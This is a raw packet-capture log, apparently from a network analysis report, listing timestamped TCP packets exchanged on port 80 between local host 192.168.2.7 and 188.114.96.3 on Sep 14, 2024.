Sep 14, 2024 18:44:28.155853987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.155886889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.155898094 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.155920029 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.155955076 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.156001091 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.156004906 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.156039953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.156059980 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.156071901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.156121969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.156153917 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.156193018 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.156197071 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.156239986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.156275034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.156292915 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.156317949 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.156352043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.156383991 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.156403065 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.156409979 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.156443119 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.156476021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.156492949 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.156510115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.156543970 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.156579971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.156586885 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.156615019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.156649113 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.156647921 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.156704903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.156714916 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.156742096 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.156774998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.156802893 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.156807899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.156840086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.156873941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.156876087 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.156908989 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.156943083 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.156968117 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.156975031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.157011032 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.157021999 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.157044888 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.157077074 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.157085896 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.157114029 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.157141924 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.157145977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.157179117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.157197952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.157213926 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.157239914 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.157248974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.157289028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.157322884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.157356977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.157361031 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.157390118 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.157439947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.157464027 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.157474041 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.157506943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.157541990 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.157582045 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.157598019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.157633066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.157664061 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.157680988 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.157712936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.157744884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.157763958 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.157778025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.157809973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.157818079 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.157844067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.157872915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.157876968 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.157905102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.157957077 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.157990932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.157999992 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.158025026 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.158057928 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.158073902 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.158109903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.158142090 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.158154011 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.158175945 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.158206940 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.158224106 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.158241987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.158277035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.158286095 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.158313036 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.158345938 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.158346891 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.158380032 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.158411980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.158447027 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.158448935 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.158478975 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.158512115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.158512115 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.158545971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.158570051 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.158579111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.158611059 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.158643007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.158674002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.158699989 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.158708096 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.158740044 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.158772945 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.158790112 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.158804893 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.158839941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.158844948 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.158909082 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.159097910 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.214525938 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.214572906 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.214587927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.214602947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.214622974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.214646101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.214660883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.214674950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.214735985 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.215034008 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.241538048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.241862059 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.241878033 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.242001057 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.242520094 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.242624998 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.242693901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.242727995 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.242760897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.242791891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.242824078 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.242856979 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.242888927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.242922068 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.242954016 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.242981911 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.243007898 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.243036985 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.243100882 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.245219946 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.245253086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.245285988 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.245336056 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.245342016 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.245393038 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.245393991 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.245425940 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.245456934 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.245474100 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.245522976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.245556116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.245587111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.245619059 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.245620012 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.245652914 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.245702028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.245702982 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.245735884 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.245764971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.245769024 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.245799065 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.245846987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.245874882 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.245874882 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.245910883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.245922089 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.245945930 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.245978117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.246010065 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.246020079 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.246042967 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.246074915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.246092081 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.246109962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.246157885 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.246162891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.246196032 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.246231079 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.246262074 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.246289015 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.246294022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.246344090 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.246377945 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.246377945 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.246409893 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.246438980 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.246442080 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.246494055 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.246505976 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.246526957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.246562004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.246593952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.246624947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.246639013 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.246656895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.246697903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.246730089 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.246747017 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.246762991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.246802092 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.246809959 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.246851921 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.246877909 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.246887922 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.246920109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.246953011 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.246989012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.247015953 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.247020960 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.247054100 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.247085094 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.247106075 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.247117996 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.247152090 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.247170925 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.247184992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.247219086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.247232914 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.247251034 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.247283936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.247298002 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.247333050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.247361898 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.247365952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.247420073 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.247452974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.247479916 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.247510910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.247518063 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.247546911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.247575998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.247580051 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.247608900 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.247639894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.247669935 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.247673035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.247705936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.247716904 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.247737885 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.247771978 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.247780085 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.247805119 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.247837067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.247852087 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.247865915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.247896910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.247920990 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.247929096 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.247945070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.247961998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.247992992 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.248022079 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.248028040 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.248060942 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.248095036 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.248110056 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.248122931 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.248157024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.248171091 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.248189926 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.248224020 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.248234987 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.248256922 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.248289108 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.248322010 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.248336077 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.248354912 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.248388052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.248419046 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.248440027 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.248451948 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.248482943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.248498917 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.248514891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.248548031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.248577118 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.248624086 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.248722076 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.301507950 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.301578999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.301615953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.301647902 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.301652908 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.301703930 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.301742077 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.301780939 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.301790953 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.301790953 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.328160048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.328188896 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.328205109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.328239918 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.328275919 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.328286886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.328301907 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.328316927 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.328332901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.328347921 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.328370094 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.328425884 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.328464031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.328478098 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.328502893 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.328502893 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.328516960 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.328532934 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.328546047 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.328547955 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.328584909 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.328644991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.328658104 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.328691006 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.328803062 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.328824043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.328869104 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.328916073 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.328932047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.328948021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.328957081 CEST	54891	80	192.168.2.7	188.114.96.3
